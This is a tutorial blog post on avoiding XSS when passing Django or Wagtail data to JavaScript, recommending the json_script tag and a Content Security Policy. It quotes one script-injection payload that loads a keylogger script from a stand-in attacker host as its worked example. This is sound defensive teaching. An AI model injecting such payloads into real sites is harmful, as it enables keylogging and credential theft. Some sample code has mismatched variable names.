Passing Data from Django & Wagtail to JavaScript the Safe Way

Introduction

Passing data from Django/Wagtail to JavaScript code is a common necessity, but often done in a way that will leave your site open to HTML injection and XSS attacks (cross-site scripting). A quick flick through blog posts, editorials and forums (including the ubiquitous Stack Overflow) will yield a raft of dodgy solutions, including rendering inline JavaScript directly into the template.

Oddly, the safe way to do this requires far less coding and allows you to pass complex data structures without the faff and without exposing your site to unnecessary risk.

The Unsafe Way

Suppose you have a function (either from your Django view or a template tag) that returns some data as a template variable (call it data_var) that you need to pass into some JavaScript. Maybe data_var is from a user input field on the previous page.

A common solution is to use the safe filter to render code directly in your template:

<script>
    let data_var = "{{ data_var |safe }}";
    do_something(data_var);
</script>

Now suppose data_var comes back as the string

'</script><script src="https://hack-my-site.com/keylogme.js"></script>'

The code block will render the following in your page:

<script>
    const mydata = "</script><script src="https://hack-my-site.com/keylogme.js"></script>";
    do_something(data_var);
</script>

Your browser parses tags first, so it interprets this as two scripts. The first will error out as const mydata = " is invalid syntax. Next, the keylogme.js script gets run. Everything else following the ; is rendered as text since there is no opening <script> tag to match the closing one.

The safe filter is probably not well named in this instance.

While you might think the data is never going to have such a value, it still is only of use for passing simple values (a string or a float for example) and doesn't work for data structures such as matrices or multi-dimensional lists.

The Unsafe Way #2

Sticking with the safe filter, another common technique is to serialise the data into JSON using the json.dumps() method:

json_data_var = json.dumps(data_var)

Then to pipe that through the safe filter:

<script>
    let data_var = "{{ json_data_var |safe }}";
    do_something(data_var);
</script>

With the same string as before, json_data_var holds the value:

'</script><script src="https://hack-my-site.com/keylogme.js"></script>'

The template renders exactly as before.

The Safe (and Easy) Way

Django comes with the json_script template tag which will render your data as a JSON script. Because the script type is "application/json" and not JavaScript, it never gets executed. Additionally, all HTML sensitive characters are converted into unicode escape strings.

Using

{{ data_var | json_script:"data_var" }}

the malicious string now gets rendered as

<script id="data_var" type="application/json">
  "\u003C/script\u003E\u003Cscript src=\"https://hack-my-site.com/keylogme.js\"\u003E\u003C/script\u003E"
</script>

No more injected HTML tags.

Even better, you can pass complex data structures in this manner without needing to do a lot of wrangling. For example, if you have a dictionary object with nested dictionary lists, you can just pass this directly to the json_script template tag without needing to do any data manipulation or looping with json.dumps() first.

In this example, I needed to pass an object with various map attributes and a variable-length list of waypoints where each element was a nested dictionary of [float, float, string, boolean].

This became a simple procedure with this technique:

{% get_map_settings block as map_settings %} 
{{ map_settings|json_script:"map_settings" }}

get_map_settings is a local function to return the map settings dictionary. The json_script template tag rendered this as:

<script id="map_settings" type="application/json">
{
    "uid": "b81f-9539bada3247", 
    "token": "ibndrMTRzd2w1ag", 
    "route_type": "walking", 
    "show_route_info": true, 
    "padding": [50, 50, 50, 50], 
    "waypoints": [
         {
            "longitude": 11.793936, 
            "latitude": 51.329196, 
            "pin_label": "a", 
            "show_pin": true
        }, 
        {
            "longitude": 11.681219, 
            "latitude": 51.293457, 
            "pin_label": "b", 
            "show_pin": true
        }
    ]
}
</script>

So far, so good. Now how to get this into your JavaScript?

Since you have an element with an ID, it's just a simple matter of parsing the textContent attribute of that element:

const coords = JSON.parse(document.getElementById("map_settings").textContent);
mapboxgl.accessToken = map_settings.token;
map_settings.waypoints.forEach(waypoint => {
    ...
};
...

Blocking Inline Code

While we're on the subject of safe methods, since there's no direct rendering with this method, it's time to strip out all the inline scripts and move them into separate script files in your static folder (yeah, I'm guilty of this, I still have old code to tidy up).

In this case, the call above is as simple as:

{% get_waypoints self.waypoints as waypoint_list %} 
{{ waypoint_list|json_script:"waypoint_list" }} 
<script src="{% static 'js/map_block.js' %}"></script>

Aside from making your code more manageable and portable, it also means that JavaScript is never templated. Once you've done that, set up a Content Security Policy (CSP) to block inline scripts running on your site.

It's worth running python manage.py check --deploy on your site to see where the security recommendations are.

Summary

  • Passing data through from Django to JavaScript can be done easily without exposing your site to unnecessary risk.
  • Rendering script blocks using the safe temple tag exposes your site to HTML injection and XSS attacks.
  • Use the json_script template tag to allow passing complex data structures safely with minimum coding.
  • For extra security, move all your inline scripts into external files and set a content security policy disabling inline scripts.

  Please feel free to leave any questions or comments below, or send me a message here